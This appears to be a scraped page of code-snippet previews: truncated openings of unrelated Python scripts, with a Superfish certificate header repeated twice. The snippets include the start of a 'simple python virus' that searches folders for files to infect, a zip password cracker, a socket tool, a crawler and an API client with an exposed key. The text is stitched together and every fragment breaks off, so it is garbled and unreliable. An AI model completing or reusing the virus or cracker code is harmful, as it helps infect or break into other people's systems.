superfish.pem contains:
- the Superfish certificate as found by both Chris Palmer and Matt Burke;
- the encrypted private key as found by Karl Koscher.
$ openssl x509 -in superfish.pem -text
Certificate:
Data:
Version: 3 (0x2)| import sys, thread, Queue, re, urllib, urlparse, time, os, sys | |
| dupcheck = set() | |
| q = Queue.Queue(100) | |
| q.put(sys.argv[1]) | |
| def queueURLs(html, origLink): | |
| for url in re.findall('''<a[^>]+href=["'](.[^"']+)["']''', html, re.I): | |
| link = url.split("#", 1)[0] if url.startswith("http") else '{uri.scheme}://{uri.netloc}'.format(uri=urlparse.urlparse(origLink)) + url.split("#", 1)[0] | |
| if link in dupcheck: | |
| continue | |
| dupcheck.add(link) |
| #!/usr/bin/python | |
| #import the required modules | |
| import optparse | |
| import zipfile | |
| from time import time | |
| #parse arguments | |
| parser = optparse.OptionParser() | |
| parser.add_option('-f', '--file', action="store", dest="file_path", help="Zip File Path", default=None) |
| #!/usr/bin/python | |
| # Visit Codingsec.net | |
| # Importing the modules | |
| # socket :=> This is what we use to create a socket connection | |
| # argparse is used to parse arguments. This is not important now | |
| # and it is out of the scope of this post | |
| import socket,sys,time,datetime,argparse,os | |
| flag = 0 # we're gonna use this flag later. Just keep it in mind |
| #!/usr/bin/python | |
| #https://codingsec.net/2016/11/make-simple-computer-virus-python/ | |
| import os | |
| import datetime | |
| SIGNATURE = "SIMPLE PYTHON VIRUS" | |
| def search(path): | |
| filestoinfect = [] | |
| filelist = os.listdir(path) | |
| for fname in filelist: | |
| if os.path.isdir(path+"/"+fname): |
superfish.pem contains:
$ openssl x509 -in superfish.pem -text
Certificate:
Data:
Version: 3 (0x2)| import os | |
| import sys | |
| def readfile(fn): | |
| fd = open(fn,'r') | |
| r = fd.read() | |
| fd.close() | |
| return r | |
| def writefile(fn,s): |
| import datetime | |
| import hashlib | |
| import hmac | |
| import random | |
| import string | |
| import time | |
| import unirest as unirest | |
| key = "da01c7e1f0dc4f166c6aa3d56add3293" | |
| secret = "XXXXXXXXXXXXXXXXXXXXXXXXXX" |
| #!/usr/bin/python | |
| import socket | |
| import struct | |
| DNS_QUERY_SECTION_FORMAT = struct.Struct("!2H") | |
| DNS_QUERY_MESSAGE_HEADER = struct.Struct("!6H") | |
| def decode_question_section(message, offset, qdcount): | |
| questions = [] |
| #!/usr/bin/env python | |
| # example of proof-of-work algorithm | |
| import hashlib | |
| import time | |
| import random | |
| import math | |
| max_nonce = 2 ** 32 # 4 billion |
| #!/usr/bin/python | |
| ################################################################################# | |
| # # | |
| #.______ _______. ______ ___ .__ __. # | |
| #| _ \ / | / | / \ | \ | | # | |
| #| |_) | ______ | (----`| ,----' / ^ \ | \| | # | |
| #| / |______| \ \ | | / /_\ \ | . ` | # | |
| #| |\ \----. .----) | | `----./ _____ \ | |\ | # | |
| #| _| `._____| |_______/ \______/__/ \__\ |__| \__| v0.2.0 # |